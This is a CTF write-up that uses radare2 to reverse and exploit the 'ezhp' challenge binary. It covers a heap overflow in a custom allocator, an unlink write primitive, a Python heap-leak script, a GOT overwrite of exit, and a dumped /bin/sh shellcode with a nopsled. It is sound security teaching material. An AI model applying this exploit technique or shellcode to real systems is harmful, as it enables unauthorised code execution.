Usual disclaimer: This article is more about radare2 than some 1337-heap-related super-efficient pwnage. If you're looking for the later, check geohot's elegant ROP-powered writup instead.
I like to play CTF, but it seems that I prefer to take my time for pwning; playing around with the debugger, trying multiple payloads and methods. Another benefit of doing challenges after ctf is that you can ask which were great, and not lose your time on stupid ones.
Anyway, I was told that ezhp was great, so time to get a shell on it!
[0x08048a48]> iI
file ./ezhp
type EXEC (Executable file)
pic false
canary false
nx false
crypto false
va true
root elf
class ELF32
lang c
arch x86
bits 32
machine Intel 80386
os linux
subsys linux
endian little
strip true
static false
linenum false
lsyms false
relocs false
rpath NONE
binsz 8522
[0x08048a48]>
No PIE, no canary, executable stack, … hurray!
$ r2 -d ./ezhp
Process with PID 21052 started...
PID = 21052
pid = 21052 tid = 21052
r_debug_select: 21052 21052
Using BADDR 0x8048000
Asuming filepath ./ezhp
bits 32
pid = 21052 tid = 21052
-- Warning, your trial license is about to expire.
[0xf7767010]> dc
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
1
Please give me a size.
10
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
4
Please give me an id.
1
r_debug_select: 21052 1
[+] signal 11 aka SIGSEGV received 0
[0xf7609bd1]> pd 1 @ eip
;-- eip:
0xf7609bd1 8b08 mov ecx, dword [eax]
[0xf7609bd1]> dr=
eip 0xf7609bd1 oeax 0xffffffff eax 0x00000000 ebx 0xf7738000
ecx 0xf7739884 edx 0x00000000 esp 0xfface19c ebp 0xfface1f8
esi 0x00000000 edi 0x00000000 eflags = 1PZIV
[0xf7609bd1]>
NULL dereference, 10/10, would deploy in production.
Let's be serious and find an exploitable vulnerability. When we chose to add a note, the program is asking us Please give me a size., where is this string used in the binary?
[0x08048794]> iz~give me a size
vaddr=0x08048bbb paddr=0x00000bbb ordinal=001 sz=23 len=22 section=.rodata type=a string=Please give me a size.
[0x08048794]> aa
[0x08048794]> axt 0x08048bbb
d 0x80487c1 mov dword [esp], str.Please_give_me_a_size.
d 0x80488e7 mov dword [esp], str.Please_give_me_a_size.
In which function?
[0x08048794]> afi 0x80487c1~fcn.
name: fcn.08048794
[0x08048794]> pdf@fcn.08048794
╒ (fcn) fcn.08048794 134
│ 0x08048794 55 push ebp
│ 0x08048795 89e5 mov ebp, esp
│ 0x08048797 83ec28 sub esp, 0x28
│ 0x0804879a a14ca00408 mov eax, dword [0x804a04c] ; [0x804a04c:4]=0x6e694c2f ; "/Linaro 4.6.3-1ubuntu5) 4.6.3" @ 0x804a04c
│ 0x0804879f 3dfe030000 cmp eax, 0x3fe
│ ┌─< 0x080487a4 7e1b jle 0x80487c1
│ │ 0x080487a6 c70424908b04. mov dword [esp], str.The_emperor_says_there_are_too_many_notes_ ; [0x8048b90:4]=0x20656854 ; "The emperor says there are too many notes!" @ 0x8048b90
│ │ 0x080487ad e84efcffff call sym.imp.puts
│ │ sym.imp.puts()
│ │ 0x080487b2 a140a00408 mov eax, dword [sym.stdout] ; [0x804a040:4]=0x3a434347 ; "GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3" @ 0x804a040
│ │ 0x080487b7 890424 mov dword [esp], eax
│ │ 0x080487ba e831fcffff call sym.imp.fflush
│ │ sym.imp.fflush()
│ ┌──< 0x080487bf eb57 jmp 0x8048818
│ │└ ; JMP XREF from 0x080487a4 (fcn.08048794)
│ │└─> 0x080487c1 c70424bb8b04. mov dword [esp], str.Please_give_me_a_size. ; [0x8048bbb:4]=0x61656c50 ; "Please give me a size." @ 0x8048bbb
│ │ 0x080487c8 e833fcffff call sym.imp.puts
│ │ sym.imp.puts()
│ │ 0x080487cd a140a00408 mov eax, dword [sym.stdout] ; [0x804a040:4]=0x3a434347 ; "GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3" @ 0x804a040
│ │ 0x080487d2 890424 mov dword [esp], eax
│ │ 0x080487d5 e816fcffff call sym.imp.fflush
│ │ sym.imp.fflush()
│ │ 0x080487da b8d28b0408 mov eax, str._d__c ; "%d%*c" @ 0x8048bd2
│ │ 0x080487df 8d55f0 lea edx, [ebp-local_4]
│ │ 0x080487e2 89542404 mov dword [esp + 4], edx ; [0x4:4]=0x10101
│ │ 0x080487e6 890424 mov dword [esp], eax
│ │ 0x080487e9 e852fcffff call sym.imp.__isoc99_scanf
│ │ sym.imp.__isoc99_scanf()
│ │ 0x080487ee 8b45f0 mov eax, dword [ebp-local_4]
│ │ 0x080487f1 890424 mov dword [esp], eax
│ │ 0x080487f4 e892fdffff call fcn.0804858b
│ │ fcn.0804858b() ; fcn.08048514+119
│ │ 0x080487f9 8945f4 mov dword [ebp-local_3], eax
│ │ 0x080487fc a14ca00408 mov eax, dword [0x804a04c] ; [0x804a04c:4]=0x6e694c2f ; "/Linaro 4.6.3-1ubuntu5) 4.6.3" @ 0x804a04c
│ │ 0x08048801 8b55f4 mov edx, dword [ebp-local_3]
│ │ 0x08048804 89148560a004. mov dword [eax*4 + 0x804a060], edx ; [0x804a060:4]=0x20293575 ; "u5) 4.6.3" @ 0x804a060
│ │ 0x0804880b a14ca00408 mov eax, dword [0x804a04c] ; [0x804a04c:4]=0x6e694c2f ; "/Linaro 4.6.3-1ubuntu5) 4.6.3" @ 0x804a04c
│ │ 0x08048810 83c001 add eax, 1
│ │ 0x08048813 a34ca00408 mov dword [0x804a04c], eax ; [0x804a04c:4]=0x6e694c2f ; "/Linaro 4.6.3-1ubuntu5) 4.6.3" @ 0x804a04c
│ └ ; JMP XREF from 0x080487bf (fcn.08048794)
│ └──> 0x08048818 c9 leave
╘ 0x08048819 c3 ret
Since fcn.0804858b is a bit long, I greped on brk.
[0x08048794]> pdf@fcn.0804858b~?
159
[0x08048794]> pdf@fcn.0804858b~brk
│ │ 0x0804860c e83ffeffff call sym.imp.sbrk
│ │ sym.imp.sbrk()
[0x08048794]>
So, it seems that it's heap-based :) The binary is not that big, and the CTF is over, we can spend some time reversing the other functions:
[0x08048a48]> pdf @ main
╒ (fcn) main 111
│ ; DATA XREF from 0x08048477 (entry0)
│ ;-- main:
│ 0x08048a48 55 push ebp
│ 0x08048a49 89e5 mov ebp, esp
│ 0x08048a4b 83e4f0 and esp, 0xfffffff0
│ 0x08048a4e 83ec20 sub esp, 0x20
│ 0x08048a51 c744241c0000. mov dword [esp + 0x1c], 0
│ ┌─< 0x08048a59 eb4e jmp 0x8048aa9
│ │ ; JMP XREF from 0x08048aae (main)
│ │ 0x08048a5b e88bffffff call fcn.show_menu
│ │ fcn.080489eb()
│ │ 0x08048a60 e84effffff call fcn.get_option_num
│ │ fcn.080489b3()
│ │ 0x08048a65 8944241c mov dword [esp + 0x1c], eax
│ │ 0x08048a69 837c241c05 cmp dword [esp + 0x1c], 5
│ ┌──< 0x08048a6e 772c ja 0x8048a9c
│ ││ 0x08048a70 8b44241c mov eax, dword [esp + 0x1c]
│ ││ 0x08048a74 c1e002 shl eax, 2
│ ││ 0x08048a77 059c8c0408 add eax, 0x8048c9c
│ ││ 0x08048a7c 8b00 mov eax, dword [eax]
│ ││ 0x08048a7e ffe0 jmp eax
│ ││ 0x08048a80 e80ffdffff call fcn.add_note
│ ││ fcn.08048794() ; fcn.08048514+640
│ ┌───< 0x08048a85 eb22 jmp 0x8048aa9
│ │││ 0x08048a87 e88efdffff call fcn.remove_note
│ │││ fcn.0804881a() ; fcn.08048514+774
│ ┌────< 0x08048a8c eb1b jmp 0x8048aa9
│ ││││ 0x08048a8e e800feffff call fcn.change_note
│ ││││ fcn.08048893() ; fcn.08048514+895
│ ┌─────< 0x08048a93 eb14 jmp 0x8048aa9
│ │││││ 0x08048a95 e8bcfeffff call fcn.print_note
│ │││││ fcn.08048956() ; fcn.08048514+1090
│ ┌──────< 0x08048a9a eb0d jmp 0x8048aa9
│ ││││└ ; JMP XREF from 0x08048a6e (main)
│ ││││└──> 0x08048a9c c70424000000. mov dword [esp], 0
│ ││││ │ 0x08048aa3 e878f9ffff call sym.imp.exit
│ ││││ │ sym.imp.exit()
│ ││││ │ 0x08048aa8 90 nop
│ └└└└ └ ; JMP XREF from 0x08048a59 (main)
│ └└└└─└─> 0x08048aa9 837c241c05 cmp dword [esp + 0x1c], 5
│ 0x08048aae 75ab jne 0x8048a5b
│ 0x08048ab0 b800000000 mov eax, 0
│ 0x08048ab5 c9 leave
╘ 0x08048ab6 c3 ret
As one could expect, the main function is a switch-table.
I renamed some functions for clarity, you can do the same with the afn
command.
We should take a look at what fcn.change_note
is doing:
[0x08048a48]> pdf @ fcn.08048893~call
│ 0x080488a0 e85bfbffff call sym.imp.puts
│ 0x080488ad e83efbffff call sym.imp.fflush
│ 0x080488c1 e87afbffff call sym.imp.__isoc99_scanf
│ │││ 0x080488ee e80dfbffff call sym.imp.puts
│ │││ 0x080488fb e8f0faffff call sym.imp.fflush
│ │││ 0x0804890f e82cfbffff call sym.imp.__isoc99_scanf
│ │││ 0x0804891b e8e0faffff call sym.imp.puts
│ │││ 0x08048928 e8c3faffff call sym.imp.fflush
│ │││ 0x08048949 e892faffff call sym.imp.read ; fcn.080483dc+0x4
[0x08048a48]>
No call to sbrk
or unknown functions, weird.
If you take a more thoughtful look at this function,
you'll see that there is a buffer-overflow, since you control
the length and the content of the buffer, and it seems to be size-fixed.
An overflow, and a custom heap, ... this reminds me of jp's article: Advanced Doug lea's malloc exploits, about how to exploit unlinking issues.
$ r2 -d ./ezhp
Process with PID 25705 started...
PID = 25705
pid = 25705 tid = 25705
r_debug_select: 25705 25705
Using BADDR 0x8048000
Asuming filepath ./ezhp
bits 32
pid = 25705 tid = 25705
[0xf778d010]> dc
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
1
Please give me a size.
10
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
1
Please give me a size.
10
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
3
Please give me an id.
0
Please give me a size.
1337
Please input your data.
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
2
Please give me an id.
1
r_debug_select: 25705 1
[+] signal 11 aka SIGSEGV received 0
[0x0804873b]> dr=
eip 0x0804873b oeax 0xffffffff eax 0x41414141 ebx 0xf775f000
ecx 0xf7760884 edx 0x41414141 esp 0xfff44408 ebp 0xfff44418
esi 0x00000000 edi 0x00000000 eflags = 1PIV
[0x0804873b]> pd 4 @ eip
0x0804873b 895004 mov dword [eax + 4], edx ; [0x4:4]=-1 ; 4
0x0804873e 837dfc00 cmp dword [ebp - 4], 0
┌─< 0x08048742 7409 je 0x804874d
│ 0x08048744 8b45fc mov eax, dword [ebp - 4]
[0x0804873b]>
Detailed explanation
I was asked (by a lazy friend) to sum up a bit the unlinking issue, so here we go. Feel free to skip this if you have read the article, or if you know this type of vulnerability.
If you take the time to read the assembly code (You can also help us with ESIL to have a decompiler in radare2 if you prefer.), you'll see that the custom-heap is implemented with a double-chained list like this:
struct {
size_t size,
chunk* next,
chunk* prev,
char content[0]
} chunk;
Remember that sbrk was used only in two places? The one during initialization
is to allocate some memory; so if we create two small notes, odds are that
they'll be next to each other. And since we control the content buffer,
we might be able to corrupt the next
and prev
pointers (no one cares about
you, size
, no one.)
This is (roughly) how a deletion of a chunk is implemented:
+----+ +----+ +----+
| n1 +-----> n2 +-----> n3 |
| | | | | |
| p1 <-----+ p2 <-----+ p3 |
+----+ +----+ +----+
+----+ +----+
| n1 +----------------> n3 |
| | | |
| p1 <----------------+ p3 |
+----+ +----+
But remember that we corrupted the content of 2
; we now have a double write primitive:
p2
will be written atn2+8
, akan1
if we didn't corrupted2
.n2
atp2+4
, akap3
if we didn't corrupted2
.
So far so good? Great; now back to exploitation!
Exploitation
We have a write primitive, how can we turn this into a code execution? Where do we write? We could do some proto-heap-spraying or allocate huge chunks to place our shellcode at a deterministic offset, but the most elegant approach is to use a leak.
Running the binary
ezhp is intended to be run as a server, so you can either run it with
socat like everyone else, or use rarun2
, like a pro:
$ rarun2 program=./ezhp listen=4444
Write from where?
Let me show you how our chunks are currently allocated:
- I allocated two chunks of size 10.
- I filled the first one with ten A, and the second with ten B
- I stopped the program to go back to the r2 shell
- I searched with
/ AAAAAAAAAA
the offset of the first chunk - I printed a hexdump of the result with
pxw
Notice how radare2 colours memory addresses differently than data.
Our two chunks are separated by two times a word, so if we write 24 more A and print the result, the word after our A-sled is the next pointer of the second chunk!
#!/usr/bin/env python
import socket
import struct
import time
def send(s, msg):
s.send(msg)
time.sleep(.25)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 4444))
time.sleep(.50)
send(s, "1\n10\n")
send(s, "1\n10\n")
send(s, "3\n0\n16\n")
send(s, 16*"A")
send(s, "4\n0\n")
buf = s.recv(1024)
idx = buf.find('A'*16) + 16
heap = struct.unpack('<L', buf[idx:idx+4])[0]
print '[+] Heap address : %s' % hex(heap)
Write to where?
Since the binary isn't RELRO, we can overwrite exit with our shellcode to get a shell at program's termination.
$ r2 ezhp
-- Use radare2! lemons included!
[0x08048460]> ii~exit
ordinal=005 plt=0x08048420 bind=GLOBAL type=FUNC name=exit
[0x08048460]> pd 1 @ 0x08048420
;-- sym.imp.exit:
0x08048420 ff2510a00408 jmp dword [reloc.exit_16]
[0x08048460]> ?v reloc.exit_16
0x804a010
[0x08048460]>
Now, we've got everything we need to get a shell!
Tricky writing
Remember that when we're writing something at a given offset, something else is written at another one? This could be solved by placing a relative jump to skip the garbage, but I went (accidentally) for a more funny route.
I sent a classic nopsled + shellcode payload, and overwrote the pointer to jump straight to the beginning of the padding, and expected a crash. I mean, we'll try to execute two adresses, and some machine code with a random word written somewhere in it.
Let's see what happens when we run our sploit:
$ ./ezhp python pwn.py
[+] Creating chunks
[+] Overflowing into second chunk
[+] Leaking the heap...
[+] Heap address : 0x93f903c
[+] Sending payload
[+] Corrupting (again) second chunk
[+] Triggering vuln
[+] shell!
$ id
uid=1000(jvoisin) gid=1000(jvoisin) groups=1000(jvoisin)
$ wut
So, it seems that instead of a SIGSEGV, we got a shell...
Time to put a raw_input()
right before triggering the exploit,
and to attach r2.
$ r2 -d $(pidof ezhp )
PIDPATH: ./ezhp
pid = 5696 tid = 5696
r_debug_select: 5696 5696
Using BADDR 0x8048000
Asuming filepath ./ezhp
bits 32
pid = 5696 tid = 5696
-- Press 'C' in visual mode to toggle colors
[0xf7758c10]> dm~heap
sys 4K 0x08206000 * 0x08207000 s rwx [heap]
[0x08206000]> / AAAAAAAAA
Searching 9 bytes from 0x08206000 to 0xffffffffffffffff: 41 41 41 41 41 41 41 41 41
# 5696 [0x8206000-0xffffffffffffffff]
[# ]^C0x08ab5f00 < 0xffffffffffffffff hits = 1
hits: 1
0x08206018 hit1_0 "AAAAAAAAA"
[0x08206000]> pxw 80 @ 0x08206018
0x08206018 0x41414141 0x41414141 0x41414141 0x41414140 AAAAAAAAAAAA@AAA
0x08206028 0x0820600c 0x0804a00c 0x90909090 0x90909090 .` .............
0x08206038 0x90909090 0x90909090 0x90909090 0x0804a00c ................
0x08206048 0x50c03190 0x68732f68 0x622f6800 0xe3896e69 .1.Ph/sh.h/bin..
0x08206058 0xc289c189 0x80cd0bb0 0x00000000 0x00000000 ................
[0x08206000]> pid 64 @ 0x08206018
0x08206018 hit1_0:
0x08206018 41 inc ecx ; Our `AAA...` padding
0x08206019 41 inc ecx
0x0820601a 41 inc ecx
0x0820601b 41 inc ecx
0x0820601c 41 inc ecx
0x0820601d 41 inc ecx
0x0820601e 41 inc ecx
0x0820601f 41 inc ecx
0x08206020 41 inc ecx
0x08206021 41 inc ecx
0x08206022 41 inc ecx
0x08206023 41 inc ecx
0x08206024 40 inc eax
0x08206025 41 inc ecx
0x08206026 41 inc ecx
0x08206027 41 inc ecx
0x08206028 0c60 or al, 0x60 ; Our write-primitive-side-effect garbage
0x0820602a 2008 and byte [eax], cl
0x0820602c 0ca0 or al, 0xa0
0x0820602e 0408 add al, 8
0x08206030 90 nop ; Our nopsled
0x08206031 90 nop
0x08206032 90 nop
0x08206033 90 nop
0x08206034 90 nop
0x08206035 90 nop
0x08206036 90 nop
0x08206037 90 nop
0x08206038 90 nop
0x08206039 90 nop
0x0820603a 90 nop
0x0820603b 90 nop
0x0820603c 90 nop
0x0820603d 90 nop
0x0820603e 90 nop
0x0820603f 90 nop
0x08206040 90 nop
0x08206041 90 nop
0x08206042 90 nop
0x08206043 90 nop
0x08206044 0ca0 or al, 0xa0 ; Our classic /bin/sh shellcode
0x08206046 0408 add al, 8
0x08206048 90 nop
0x08206049 31c0 xor eax, eax
0x0820604b 50 push eax
0x0820604c 682f736800 push 0x68732f
0x08206051 682f62696e push 0x6e69622f
0x08206056 89e3 mov ebx, esp
0x08206058 89c1 mov ecx, eax
0x0820605a 89c2 mov edx, eax
0x0820605c b00b mov al, 0xb
0x0820605e cd80 int 0x80
0x08206060 0000 add byte [eax], al ; The rest of the heap
0x08206062 0000 add byte [eax], al
0x08206064 0000 add byte [eax], al
0x08206066 0000 add byte [eax], al
0x08206068 0000 add byte [eax], al
0x0820606a 0000 add byte [eax], al
0x0820606c 0000 add byte [eax], al
0x0820606e 0000 add byte [eax], al
0x08206070 0000 add byte [eax], al
0x08206072 0000 add byte [eax], al
0x08206074 0000 add byte [eax], al
0x08206076 0000 add byte [eax], al
[0x08206000]>
Hurray for ghetto-style nopsleds!
This might not work on your system,
but I'm quite sure that you can figure by yourself how to add a jmp
at the right place in your padding :)
If you can't reproduce this, or have questions, feel free to rant on #radare.